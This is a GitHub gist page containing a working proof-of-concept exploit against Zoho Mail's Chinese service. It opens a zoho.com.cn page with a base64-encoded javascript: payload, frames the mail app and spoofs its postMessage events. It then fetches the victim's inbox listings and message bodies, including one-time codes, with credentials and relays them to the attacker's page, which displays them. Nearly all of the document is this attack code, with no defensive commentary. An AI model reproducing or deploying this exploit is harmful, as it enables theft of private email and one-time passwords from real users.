Created
February 17, 2025 13:30
-
-
Save alanEG/306d580ef4b2a51f3da332e29f157cb4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body> | |
<div id="email-container"></div> | |
<script> | |
window.addEventListener("message", function(event) { | |
console.log(event.data) | |
if (event.data && event.data.from && event.data.from == "summery") { | |
const data = JSON.parse(event.data.emails); | |
const emails = data; | |
const emailContainer = document.getElementById('email-container'); | |
if (Array.isArray(emails) && emails.length > 1) { | |
const email = emails[1].mdata; | |
if (email.FROM && email.SUBJECT && email.SENTTIME) { | |
const emailDiv = document.createElement('div'); | |
emailDiv.innerHTML = `<strong>From:</strong> $ {email.FROM}<br><strong>Subject:</strong> $ {email.SUBJECT}<br><strong>Date:</strong> $ {email.SENTTIME}<br><strong>Body:</strong>$ {email.CONTENT}<br><br>`; | |
emailContainer.appendChild(emailDiv); | |
} | |
} | |
} | |
}); | |
url = "https://mail.zoho.com.cn/zm/?fromService=wp&wpVersion=3ca9c46b04156400bec4&canAddOACHeader=true&frameorigin=https%3A%2F%2Fwww.zoho.com.cn#settings/mailaccounts" | |
var payload = btoa(` | |
<div id="herewego"> | |
</div> | |
<script> | |
var stcmessage = false;var rlc = false;var udt = false;var ald = []; | |
// Data to initialize the mail fram | |
var data = {"LIBRARY_INSTANTIATED_REPLY":{"fromWp":true,"eventType": "LIBRARY_INSTANTIATED_REPLY","data":{}},"GET_RAIL_TIME_VALUE":{"fromWp":true,"eventType": "GET_RAIL_TIME_VALUE","data":{}},"START_LOADING_RESOURCE":{"fromWp":true,"eventType":"START_LOADING_RESOURCE","data": {}},"ENABLE_SET_NOTIFICATION_COUNT":{"fromWp":true,"eventType": "ENABLE_SET_NOTIFICATION_COUNT","data":{}},"SET_SEARCH_POSITION":{"fromWp":true,"eventType": "SET_SEARCH_POSITION","data":{ "top": "0px", "right": "0px" }},"FEATURE_ENABLED_FLAGS":{"fromWp":true,"eventType": "FEATURE_ENABLED_FLAGS","data":{ "isDragIndicationMarkedAsSeen": false }},"PAGE_VISIBILITY":{"fromWp":true,"eventType":"PAGE_VISIBILITY","data": {"visible":true}},"STOP_LOADING_RESOURCE":{"fromWp":true,"eventType": "STOP_LOADING_RESOURCE","data": {}},"APP_CURRENT_SELECTED_STATUS":{"fromWp":true,"eventType": "APP_CURRENT_SELECTED_STATUS","data":{"isSelected":true}}} | |
function sendMessageWithDelay(payload, delay) { | |
setTimeout(function () { | |
var mailIframe = document.getElementById('mailIframe'); | |
mailIframe.contentWindow.postMessage(payload, '*'); | |
}, delay); | |
} | |
function sendMessageToParent(message) { | |
window.opener.postMessage(message, '*'); | |
} | |
function sendRequest(url) { | |
return new Promise(function(resolve, reject){var xhr = new XMLHttpRequest();xhr.open('GET', url, true);xhr.withCredentials = true;xhr.onreadystatechange = function () {if (xhr.readyState == 4) {if (xhr.status == 200) {var response = {"emails": xhr.responseText, "from": "summery", "accId": id};resolve(response);} else {reject(xhr.statusText);}}};xhr.send();}); | |
} | |
function resiverMessage(event) { | |
sendMessageToParent(event.data); | |
if (event.data.eventType == "HIDE_LOADING") { | |
sendMessageWithDelay(data['LIBRARY_INSTANTIATED_REPLY'], 1000);sendMessageWithDelay(data['FEATURE_ENABLED_FLAGS'], 1000);sendMessageWithDelay(data['GET_RAIL_TIME_VALUE'], 1000);sendMessageWithDelay(data['PAGE_VISIBILITY'], 10000); | |
} else if (event.data.eventType == "SET_NOTIFICATION_COUNT") { | |
if (!stcmessage) { | |
// initialize the mail fram | |
stcmessage = true;sendMessageWithDelay(data['START_LOADING_RESOURCE'], 1000);sendMessageWithDelay(data['ENABLE_SET_NOTIFICATION_COUNT'], 1000);sendMessageWithDelay(data['SET_SEARCH_POSITION'], 1000);sendMessageWithDelay(data['FEATURE_ENABLED_FLAGS'], 1000);sendMessageWithDelay(data['APP_CURRENT_SELECTED_STATUS'], 1000); | |
} | |
} else if (event.data.eventType == "SET_HASH") { | |
if (event.data.data.hashValue && event.data.data.hashValue.includes("mailaccounts")) { | |
id = event.data.data.hashValue.split('/')[2]; | |
if (ald.indexOf(id) == -1 && id) { | |
console.log(id) | |
ald.push(id); | |
sendRequest('https://zm2.zoho.com.cn/zm/ml.do?xhr=1705341324677&mode=listing&accId=' + id + '&from=1&to=50&summary=true&sortBy=date&sortOrder=false&folderSpec=0') | |
.then(function(response) { | |
sendMessageToParent(response) | |
emails = JSON.parse(response.emails); | |
const emailList = emails[1]; | |
emailList.forEach(function(email) { | |
sendRequest('https://zm2.zoho.com.cn/zm/md.do?xhr=1705398265539&accId=' + id + '&summary=true&msgId=' + email.M + '&vfc=false&split=true').then(function(response2) { | |
sendMessageToParent(response2,"OTP") | |
}).catch(function(error) { | |
console.log(error) | |
}) | |
}); | |
}) | |
.catch(function(error){console.error(error);}); | |
} | |
} | |
} | |
} | |
window.addEventListener("message", resiverMessage) | |
document.getElementById('herewego').innerHTML = '<iframe title="Mail" allow="fullscreen;clipboard-read;clipboard-write;geolocation;microphone;camera;display-capture" allowfullscreen="" class="" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" id="mailIframe" src="$ {url}">' | |
<\/script>`) | |
var wv = window.open(`https://www.zoho.com.cn/assist/videos/#javascript:document.write(atob('$ {payload}'))`) | |
</script> | |
</body> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment